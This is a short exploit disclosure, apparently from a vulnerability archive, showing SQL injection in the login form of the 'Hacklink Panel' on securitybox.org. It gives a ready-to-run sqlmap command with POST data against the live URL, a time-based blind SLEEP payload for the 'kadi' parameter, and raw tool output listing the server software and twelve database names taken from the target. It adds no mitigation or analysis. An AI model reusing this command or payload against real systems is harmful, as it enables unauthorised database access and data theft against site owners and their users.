Securitybox Sql İnjection "Hacklink Panel"

2020.06.09
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Tested On : Kali Linux # Contact : instagram.com/rootayyildiz/ python sqlmap.py -u "https://securitybox.org/panel.php?x=giris" --random-agent --batch --flush-session --data="kadi=asd&parola=ds" --dbs Parameter: kadi (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: kadi=asd' AND (SELECT 6643 FROM (SELECT(SLEEP(5)))jdfl) AND 'PlNi'='PlNi&parola=ds --- [01:31:39] [INFO] the back-end DBMS is MySQL [01:31:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12 [01:31:40] [INFO] fetching database names [01:31:40] [INFO] fetching number of databases [01:31:40] [INFO] retrieved: do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y 1 [01:31:55] [INFO] adjusting time delay to 1 second due to good response times 2 [01:31:56] [INFO] retrieved: information_schema [01:33:07] [INFO] retrieved: expw0rm_cc [01:33:58] [INFO] retrieved: inject0r [01:34:35] [INFO] retrieved: k92 [01:34:48] [INFO] retrieved: k92new [01:35:13] [INFO] retrieved: mirr0r [01:35:42] [INFO] retrieved: mysql [01:36:02] [INFO] retrieved: performance_schema [01:37:11] [INFO] retrieved: phpmyadmin [01:37:52] [INFO] retrieved: spy [01:38:07] [INFO] retrieved: turkstorm [01:39:08] [WARNING] there has been a problem while writing to the session file ('OperationalError: attempt to write a readonly database') available databases [12]: [*] expw0rm_cc [*] information_schema [*] inject0r [*] k92 [*] k92new [*] mirr0r [*] mysql [*] performance_schema [*] phpmyadmin [*] spy [*] turkstorm [*] webdata


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top